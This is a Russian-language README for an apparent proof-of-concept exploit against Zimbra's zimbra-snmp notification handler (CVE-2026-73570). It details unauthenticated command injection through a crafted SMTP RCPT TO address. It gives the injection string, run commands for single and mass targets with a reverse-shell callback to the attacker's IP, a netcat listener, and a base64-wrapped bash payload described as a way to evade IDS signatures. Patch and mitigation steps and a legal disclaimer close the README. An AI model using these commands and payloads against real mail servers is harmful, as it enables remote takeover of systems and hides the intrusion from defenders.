
Zimbra SNMP Notification OS Command Injection — Неаутентифицированное RCE через SMTP-эксплойт (PoC)
Неаутентифицированное удалённое выполнение кода через инъекцию команд ОС в обработчике SNMP-уведомлений Zimbra Collaboration Suite.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — Ненадлежащая нейтрализация специальных элементов, используемых в команде ОС |
| Затронуто | Zimbra ZCS < 10.1.20 (с установленным zimbra-snmp) |
| Исправлено в | ZCS 10.1.20 — июль 2026 |
| CISA KEV | Добавлено 2026-08-21 (срок устранения для FCEB: 2026-08-24) |
| Требуется аутентификация | Нет |
| Выполнение от имени | пользователя ОС zimbra |
Необязательный пакет zimbra-snmp содержит правило swatchdog, которое отслеживает /var/log/zimbra.log на предмет строк, соответствующих:
Service status change: <NAME> changed from <STATE> to <STATE>
При обнаружении совпадения swatchdog передаёт захваченное поле <NAME> напрямую в shell-скрипт SNMP-уведомлений без какой-либо санитизации.
Неаутентифицированный злоумышленник может внедрить специально сформированную запись журнала, отправив особым образом составленную SMTP-команду RCPT TO. Используя quoted local-part из RFC 5321, метасимволы оболочки — например, $(...) — внедряются внутрь <NAME> и выполняются, когда swatchdog обрабатывает соответствующую строку журнала.
Чтобы уязвимость была эксплуатируема, на целевой системе должны выполняться все три условия:
zimbra-snmpsnmp_notify = true)swatchdogAttacker Zimbra MTA
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── logs RCPT TO data ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog matches
│ │ pattern, extracts
│ │ $(CMD), executes
│◄─────────── shell callback ───────────────────────────────────────┘
RCPT TO.swatchdog сопоставляет шаблон в журнале и извлекает внедрённую $(CMD).CMD от имени пользователя ОС zimbra.cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
или через apt-get
apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl
или через yum
yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444
targets.txt — по одному хосту на строку, необязательный :port, строки, начинающиеся с #, игнорируются:
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment
| Флаг | Длинный | По умолчанию | Описание |
|---|---|---|---|
-H | --host | — | Один целевой хост или IP-адрес |
-f | --file | — | Файл со списком целей |
-p | --port | 587 | Порт SMTP по умолчанию |
-r | --rhost | — | Ваш IP для обратного подключения (reverse shell) |
-R | --rport | 4444 | Порт прослушивания |
-t | --timeout | 15 | Тайм-аут сокета в секундах |
-S | --ssl | выкл. | Прямой TLS (автоматически включается на порту 465) |
-v | --verbose | выкл. | Выводить полный диалог SMTP |
-L | --logfile | — | Записывать журнал сессии в файл |
-h | --help | — | Показать справку |
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
Команда обратной оболочки кодируется в base64 перед внедрением:
echo <b64>|base64 -d|bash
Это не позволяет IDS/IPS сопоставлять сигнатуры открытого текста, такие как /dev/tcp, bash -i или nc -e. Закодированный blob внедряется как $(...) внутри заключённой в кавычки локальной части RCPT TO, что вызывает выполнение на стороне сервера, когда swatchdog обрабатывает запись журнала.
| Действие | Подробности |
|---|---|
| Патч | Обновитесь до Zimbra ZCS ≥ 10.1.20 |
| Отключить SNMP notify | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| Удалить пакет | apt remove zimbra-snmp / yum remove zimbra-snmp |
| Сетевые меры | Ограничьте входящий SMTP (25/465/587) доверенными релеями, где это практически осуществимо |
Данный proof-of-concept выпущен исключительно для авторизованного тестирования безопасности, академических исследований и защитных целей.
Запуск его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, является незаконным.
Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом.